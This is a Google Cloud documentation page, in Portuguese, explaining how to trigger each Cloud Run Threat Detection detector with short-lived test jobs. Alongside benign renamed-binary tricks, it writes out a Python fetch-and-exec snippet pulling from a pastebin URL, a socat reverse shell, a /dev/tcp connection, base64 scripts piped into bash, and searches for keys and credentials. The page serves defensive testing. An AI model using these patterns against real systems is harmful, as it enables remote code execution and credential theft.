Testar a detecção de ameaças do Cloud Run

Nesta página, explicamos como verificar se o Cloud Run Threat Detection está funcionando por meio do acionamento intencional de detectores e da verificação de descobertas. O Cloud Run Threat Detection é um serviço integrado do Security Command Center.

Antes de começar

Para detectar possíveis ameaças aos serviços e jobs do Cloud Run, verifique se o serviço do Cloud Run Threat Detection está ativado no Security Command Center. Alguns detectores ficam desativados por padrão. Para testar esses detectores, primeiro ative os módulos correspondentes. Para mais informações, consulte Detectores de ambiente de execução desativados.

Defina as variáveis de ambiente

Para testar os detectores, use o console do Google Cloud e o Cloud Shell. É possível definir variáveis de ambiente no Cloud Shell para facilitar a execução de comandos. Você vai usar essas variáveis para testar todos os detectores.

  1. Acesse o console doGoogle Cloud .

    Acesse o console do Google Cloud .

  2. Selecione o projeto que contém o job do Cloud Run que você quer usar para o teste.

  3. Clique em Ativar o Cloud Shell.

  4. No Cloud Shell, defina as variáveis de ambiente:

    1. Defina o projeto e a região em que você vai criar jobs de teste.

      export PROJECT=PROJECT_ID
      export REGION=REGION
      

Com as variáveis de ambiente definidas, siga as instruções para testar os detectores.

Comando e controle: ferramenta de esteganografia detectada

Para acionar uma descoberta Command and Control: Steganography Tool Detected (pré-lançamento), execute um binário com recursos de manipulação de arquivos consistentes com ferramentas de esteganografia em um contêiner. Este exemplo copia /bin/ls e o renomeia como steghide.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Command and Control: Steganography Tool Detected.

Acesso a credenciais: encontrar Google Cloud credenciais

Para acionar uma descoberta de Credential Access: Find Google Cloud Credentials, execute um binário capaz de pesquisar o conteúdo de arquivos em um contêiner. Este exemplo copia /bin/ls, o renomeia como grep e o executa com argumentos suspeitos.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Credential Access: Find Google Cloud Credentials.

Acesso com credenciais: reconhecimento de chaves do GPG

Para acionar uma descoberta de Credential Access: GPG Key Reconnaissance, execute uma ferramenta de pesquisa com argumentos suspeitos.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Credential Access: GPG Key Reconnaissance.

Acesso a credenciais: pesquisar senhas ou chaves privadas

Para acionar uma descoberta de Credential Access: Search Private Keys or Passwords, execute uma ferramenta de pesquisa com argumentos suspeitos.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Credential Access: Search Private Keys or Passwords.

Evasão de defesa: linha de comando do arquivo ELF codificado em Base64

Para acionar uma descoberta de Defense Evasion: Base64 ELF File Command Line, execute base64 com argumentos de cabeçalho ELF codificados.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste deve criar duas descobertas do Defense Evasion: Base64 ELF File Command Line.

Evasão de defesa: script Python codificado em Base64 executado

Para acionar uma descoberta de Defense Evasion: Base64 Encoded Python Script Executed, execute echo com um comando Python codificado.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Defense Evasion: Base64 Encoded Python Script Executed.

Evasão de defesa: script de shell codificado em Base64 executado

Para acionar uma descoberta de Defense Evasion: Base64 Encoded Shell Script Executed, execute echo com um comando de shell codificado.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Defense Evasion: Base64 Encoded Shell Script Executed.

Evasão de defesa: iniciar a ferramenta de compilador de código no contêiner

Para acionar uma descoberta de Defense Evasion: Launch Code Compiler Tool In Container (pré-lançamento), execute uma ferramenta de compilador.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Defense Evasion: Launch Code Compiler Tool In Container.

Execução: binário mal-intencionado adicionado executado

Para acionar uma descoberta Execution: Added Malicious Binary Executed, adicione um binário malicioso (EICAR) ao contêiner e execute-o.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Added Malicious Binary Executed.

Execução: biblioteca mal-intencionada adicionada carregada

Para acionar uma descoberta Execution: Added Malicious Library Loaded, adicione uma biblioteca maliciosa ao contêiner e carregue-a. Este exemplo atualiza o arquivo /tmp/test_mal_lib com uma biblioteca mal-intencionada simulada e o carrega usando mmap. O carregamento da biblioteca de um arquivo existente é inesperado porque o arquivo não estava na imagem do contêiner original e a biblioteca é um arquivo de teste EICAR, que é classificado como mal-intencionado pela inteligência contra ameaças.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Added Malicious Library Loaded.

Execução: escape de contêiner

Para acionar uma descoberta de Execution: Container Escape, execute uma ferramenta que simule o comportamento de escape de contêiner.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Container Escape.

Execução: execução sem arquivo em /memfd:

Para acionar uma descoberta Execution: Fileless Execution in /memfd:, execute um processo do sistema de arquivos na memória /memfd: usando Python.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image python:latest \
      --command bash \
      --args "-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Fileless Execution in /memfd:.

Execução: execução de ferramenta de ataque do Kubernetes

Para acionar uma descoberta Execution: Kubernetes Attack Tool Execution, execute um programa que corresponda a uma ferramenta de ataque conhecida.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Kubernetes Attack Tool Execution.

Execução: execução da ferramenta de reconhecimento local

Para acionar uma descoberta de Execution: Local Reconnaissance Tool Execution, execute um programa que corresponda a uma ferramenta de reconhecimento.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Local Reconnaissance Tool Execution.

Execução: Python malicioso executado

Para acionar uma descoberta de Execution: Malicious Python Executed, execute um script Python que imite um comportamento malicioso.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE="import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/python:latest \
      --task-timeout 700 \
      --command bash \
      --args "-c","sleep 601; python -c \"${PYTHON_CODE}\" ; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Malicious Python Executed. Esse teste pode levar até 15 minutos para produzir uma descoberta.

Execução: binário mal-intencionado modificado executado

Para acionar uma descoberta de Execution: Modified Malicious Binary Executed, modifique um binário para corresponder a uma assinatura maliciosa conhecida (EICAR).

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Modified Malicious Binary Executed.

Execução: biblioteca maliciosa modificada carregada

Para acionar uma descoberta Execution: Modified Malicious Library Loaded, modifique um arquivo atual com uma biblioteca mal-intencionada no contêiner e carregue-o. Este exemplo atualiza o arquivo /etc/issue com uma biblioteca mal-intencionada simulada e o carrega usando mmap. O carregamento da biblioteca de um arquivo existente é inesperado porque a biblioteca é um arquivo de teste EICAR, que é classificado como mal-intencionado pela inteligência contra ameaças.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Modified Malicious Library Loaded.

Execução: habilidade mal-intencionada adicionada executada

Para acionar uma descoberta de Execution: Added Malicious Skill Executed, adicione um binário de habilidade mal-intencionado ao contêiner e execute-o.

Crie e execute o job do Cloud Run:

   b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
   JOB_NAME="crtd-test-added-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo '$b64_payload' | base64 -d > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10; sha256sum /tmp/test_mal_file" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Added Malicious Skill Executed.

Execução: execução de habilidade mal-intencionada modificada

Para acionar uma descoberta de Execution: Modified Malicious Skill Executed, modifique um binário para corresponder a uma assinatura de habilidade maliciosa conhecida.

Crie e execute o job do Cloud Run:

   b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
   JOB_NAME="crtd-test-mod-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","echo '$b64_payload' | base64 -d > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10; sha256sum /etc/issue" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Modified Malicious Skill Executed.

Execução: carregamento de habilidade mal-intencionada adicionada

Para acionar uma descoberta Execution: Added Malicious Skill Loaded, adicione uma biblioteca de habilidades mal-intencionadas ao seu contêiner e carregue-a. Este exemplo atualiza o arquivo /tmp/test_mal_lib com uma biblioteca de habilidades maliciosas simulada e, em seguida, o carrega usando mmap. O carregamento da biblioteca de um arquivo existente é inesperado porque o arquivo não estava na imagem do contêiner original e a biblioteca contém um hash de teste específico classificado como uma habilidade maliciosa pela inteligência contra ameaças.

Crie e execute o job do Cloud Run:

b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
JOB_NAME="crtd-test-add-malicious-skill-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << EOF2 > ${JOB_NAME}.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo '$b64_payload' | base64 -d > /tmp/test_mal_lib
chmod 700 /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
sha256sum /tmp/test_mal_lib
EOF2
ENCODED_SCRIPT=$(base64 -w 0 ${JOB_NAME}.sh)
rm -f ${JOB_NAME}.sh
gcloud run jobs create $JOB_NAME \
   --project $PROJECT \
   --region $REGION \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --command bash \
   --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
   --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Added Malicious Skill Loaded.

Execução: carregamento de habilidade mal-intencionada modificada

Para acionar uma descoberta Execution: Modified Malicious Skill Loaded, modifique um arquivo atual com uma biblioteca de habilidades mal-intencionadas no contêiner e carregue-o. Este exemplo atualiza o arquivo /etc/issue com uma biblioteca de habilidades maliciosas simulada e, em seguida, o carrega usando mmap. O carregamento de um arquivo atual pela biblioteca é inesperado porque ela contém um hash de teste específico classificado como uma habilidade maliciosa pela inteligência contra ameaças.

Crie e execute o job do Cloud Run:

b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
JOB_NAME="crtd-test-mod-malicious-skill-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << EOF2 > ${JOB_NAME}.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo '$b64_payload' | base64 -d > /etc/issue
chmod 700 /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
sha256sum /etc/issue
EOF2
ENCODED_SCRIPT=$(base64 -w 0 ${JOB_NAME}.sh)
rm -f ${JOB_NAME}.sh
gcloud run jobs create $JOB_NAME \
   --project $PROJECT \
   --region $REGION \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --command bash \
   --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
   --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Modified Malicious Skill Loaded.

Execução: execução remota de código do Netcat no contêiner

Para acionar um evento Execution: Netcat Remote Code Execution In Container, execute o netcat com argumentos suspeitos.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Netcat Remote Code Execution In Container.

Execução: possível execução arbitrária de comandos com o CUPS (CVE-2024-47076)

Para acionar uma descoberta de Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), execute um script que simule a exploração.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).

Execução: possível execução de comando remota detectada

Para acionar uma descoberta de Execution: Possible Remote Command Execution Detected (pré-lançamento), execute um comando que tente uma conexão remota.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Possible Remote Command Execution Detected.

Execução: execução de programa com ambiente de proxy HTTP não permitido

Para acionar uma descoberta Execution: Program Run with Disallowed HTTP Proxy Env, execute um programa com uma variável de ambiente de proxy inválida.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Program Run with Disallowed HTTP Proxy Env.

Execução: shell reverso do Socat detectado

Para acionar uma descoberta Execution: Socat Reverse Shell Detected, estabeleça um shell reverso usando o utilitário socat.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; apt-get update && apt-get install socat -y && echo $B64_SOCAT | base64 -d | bash" \
      --execute-now \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Socat Reverse Shell Detected.

Execução: objeto compartilhado suspeito do OpenSSL carregado

Para acionar uma descoberta de Execution: Suspicious OpenSSL Shared Object Loaded, execute openssl com uma biblioteca suspeita.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Execution: Suspicious OpenSSL Shared Object Loaded.

Exfiltração: iniciar as ferramentas de cópia de arquivos remotos no contêiner

Para acionar uma descoberta de Exfiltration: Launch Remote File Copy Tools In Container, execute uma ferramenta de cópia remota.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Exfiltration: Launch Remote File Copy Tools In Container.

Impacto: detectar linhas de comando mal-intencionadas

Para acionar uma descoberta de Impact: Detect Malicious Cmdlines (pré-lançamento), execute um nome de comando suspeito (IPFS).

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Esse procedimento de teste cria uma descoberta Impact: Detect Malicious Cmdlines.

Impacto: remover dados em massa do disco

Para acionar uma descoberta de Impact: Remove Bulk Data From Disk, execute uma ferramenta como shred.

Crie e execute o job do Cloud Run:

JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
